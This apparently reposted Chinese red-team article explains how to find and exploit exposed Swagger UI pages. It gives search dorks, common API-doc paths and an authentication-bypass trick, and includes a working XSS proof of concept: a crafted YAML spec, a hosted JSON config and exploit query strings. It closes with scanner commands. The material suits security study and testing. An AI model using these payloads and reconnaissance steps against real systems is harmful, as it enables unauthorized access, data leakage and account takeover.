『红蓝对抗』Swagger UI

admin 2023年3月10日23:39:18评论263 views字数 2738阅读9分7秒阅读模式



点击蓝字 · 关注我们


日期:2023-03-10

作者:L-Center

介绍:swagger


0x00 什么是Swagger

Swagger是一个规范和完整的框架,用于生成、描述、调用和可视化RESTful风格的Web服务。

总体目标是使客户端和文件系统作为服务器以同样的速度来更新。

参数和模型紧密集成到服务器端的代码,允许API来始终保持同步。

0x01 安全问题

swagger-ui会根据我们在代码中的设置来自动生成Api说明文档,若存在相关的配置缺陷的话,可能会存在信息泄漏问题。

当然攻击者可以利用未授权翻查Swagger接口文档,得到系统功能API接口的详细参数,再构造参数发包,通过回显获取系统大量的敏感信息。

1.1 未授权访问

如何找到Swagger UI

搜索引擎搜索:intext:"Swagger UI" intitle:"Swagger UI" site:xxx.com

『红蓝对抗』Swagger UI

FOFA搜索语句:title="Swagger UI"

『红蓝对抗』Swagger UI

通过访问swagger路径来进行访问:

『红蓝对抗』Swagger UI

也可以访问swagger.json获取json格式的接口文档。

『红蓝对抗』Swagger UI

1.2 常见路径

/v2/api-docs/swagger-ui.html/swagger/api/swagger/Swagger/ui/index/api/swaggerui/swagger/ui/api/swagger/ui/api/swagger-ui.html/user/swagger-ui.html/libs/swaggerui/swagger/index.html/swagger-resources/configuration/ui/swagger-resources/configuration/security/api.html/druid/index.html/sw/swagger-ui.html/api/swagger-ui.html/template/swagger-ui.html/spring-security-rest/api/swagger-ui.html/spring-security-oauth-resource/swagger-ui.html/swagger/v1/swagger.json/swagger/v2/swagger.json/api-docs/api/doc/docs//doc.html/v1/api-docs/v3/api-docs

1.3 延伸漏洞


认证绕过:

url后面加/v1/api-docs或者/v2/api-docs,绕过了认证。

『红蓝对抗』Swagger UI

『红蓝对抗』Swagger UI

文件上传漏洞:

文件上传接口大部分均为纯接口形式上传文件,不存在前端校验,可直接上传相应测试脚本文件进行安全测试。

『红蓝对抗』Swagger UI

用户信息泄露、添加用户、密码重置等漏洞:

也包括一些配置信息的泄露,如数据库账号密码配置等。

根据参数类型构造参数。

『红蓝对抗』Swagger UI

『红蓝对抗』Swagger UI

『红蓝对抗』Swagger UI
『红蓝对抗』Swagger UI

XSS跨站脚本攻击:

受影响的版本:>=3.14.1 < 3.38.0

需要在vps上配置两个文件yamljson

poc

yaml文件配置:

swagger: '2.0'info:  title: Example yaml.spec  description: |    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' οnerrοr='alert(document.head)'>">paths:  /accounts:    get:      responses:        '200':          description: No response was specified      tags:        - accounts      operationId: findAccounts      summary: Finds all accounts

json文件配置:

{    "url": "http://IP/test.yaml",    "urls": [        {            "url": "http://IP/test.yaml",            "name": "Foo"        }    ]}

漏洞利用:

?url=http://vps/test.yaml?configUrl=http://vps/test.json

『红蓝对抗』Swagger UI
『红蓝对抗』Swagger UI

嫌配置复杂的话可以使用:?configUrl=https://jumpy-floor.surge.sh/test.json

1.4 自动化测试

1、swagger-scan:

https://github.com/godzeo/swagger-scan
主要是对在测试中常见的swagger页面泄露,进行批量的测试。

自动爬取所有接口,配置好传参发包访问。

可以代理到Xray或者sqlmap被动扫描。

流程:

抓取html页面,利用chromedriver去解析。

找到具体存放数据的json文件。

数据进行解析,构造请求包,获取响应。

记录发包、参数、加入被动的漏洞扫描。

python findJson.py (自动把url.txt的地址批量找到json文件)python swagger.py -u http://www.baidu.com/openapi.json python swagger.py -f /xxxx/xxx/targert.txt

『红蓝对抗』Swagger UI

2、swagger-exp:

https://github.com/lijiejie/swagger-exp

遍历所有API接口,自动填充参数

尝试GET/POST所有接口,返回Response Code/Content-Type/Content-Length,用于分析接口是否可以未授权访问利用。

分析接口是否存在敏感参数,例如url参数,容易引入外网的SSRF漏洞。

检测API认证绕过漏洞。

『红蓝对抗』Swagger UI

0x02 总结

参考文章:
https://www.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/#reference

SwaggerXSS漏洞在JamfGitlab上都存在。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『红蓝对抗』Swagger UI

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月10日23:39:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『红蓝对抗』Swagger UIhttps://cn-sec.com/archives/1596709.html

发表评论

匿名网友 填写信息